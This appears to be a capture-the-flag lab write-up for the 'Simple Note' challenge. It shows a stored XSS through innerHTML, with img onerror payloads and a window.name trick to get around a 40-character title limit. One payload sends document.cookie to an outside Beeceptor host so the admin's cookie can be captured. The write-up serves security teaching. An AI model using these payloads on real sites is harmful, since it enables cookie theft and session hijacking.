Simple Web - 0x09(Lab - Simple Note)

Simple Web - 0x09(Lab - Simple Note)

tags: CTF Web eductf

Challenge: https://note.ctf.zoolab.org/

Background

Source Code

...
<script>
    const id = location.pathname.split('/').pop();

    fetch(`/api/note/${id}`).then(r => r.json()).then(({ title, content })=>{
        url.value = location;
        titleNode.innerHTML = title;
        contentNode.innerText = content;
    });   
</script>
...

For instance, if our $id=47a8aad1b3b82dcd4decd36d, the script code will fetch this data as json file and parse title and content. Then it’ll change titleNode by innerHTML and change contentNode by innerText.

innerText VS innerHTML

innerText will filter tag but innerHTML will not. For instance, title=123 and content=<script>123</script>

For instance, title=<script>123</script> and content=123

Analysis

According to the response, it seems has no filter of our input, so, we can choose to inject something in `titleNode`

Exploit - XSS

  1. We tried to inject <script> tag in title but has nothing to trigger. According to javascript documentation

    It is not uncommon to see innerHTML used to insert text into a web page. There is potential for this to become an attack vector on a site, creating a potential security risk. Although this may look like a cross-site scripting attack, the result is harmless. HTML specifies that a <script> tag inserted with innerHTML should not execute.

    However, there are ways to execute JavaScript without using <script> elements, so there is still a security risk whenever you use innerHTML to set strings over which you have no control. For example:

     const name = "<img src='x' onerror='fetch()'>";
     el.innerHTML = name; // shows the alert
    
  2. Use img tag Payload: <img src='x' onerror='alert(1)'>

  3. String limit problem… There’s something wrong, that the title has input limit with 40 character at most. So, we can use window.name technique that we can write our payload as long as we can. If we set:
     top.name = 'fetch("https://sbk6401.free.beeceptor.com?sh="+document.cookie)'
    

    Furthermore, we set our title as:`<img src=x onerror=eval(window.name)>`

    Then if we reload this page, it’ll execute the command in top.name

  4. Host a server by Beeceptor Note that, you should change Content-Type to text/html Then we can change the Report URL as what we set in Beeceptor

  5. Detail about workflow
     st=>start: Start
     e=>end: get flag in Beeceptor
     op=>operation: Set title to <img src=x onerror=eval(top.name)>
     io=>inputoutput: Click Report
     op2=>operation: Set URL as  https://sbk6401.free.beeceptor.com 
     op3=>operation: Execute our script that set in beeceptor
     op4=>operation: Set top.name as our payload
     op5=>operation: redirect to https://note.ctf.zoolab.org/note/fafe93de9467a6022fb8cb19
     op6=>operation: eval(top.name)
    
    
     st->op->io->op2->op3->op4->op5->op6->e
    

Reference

在XSS测试中如何绕过字符长度限制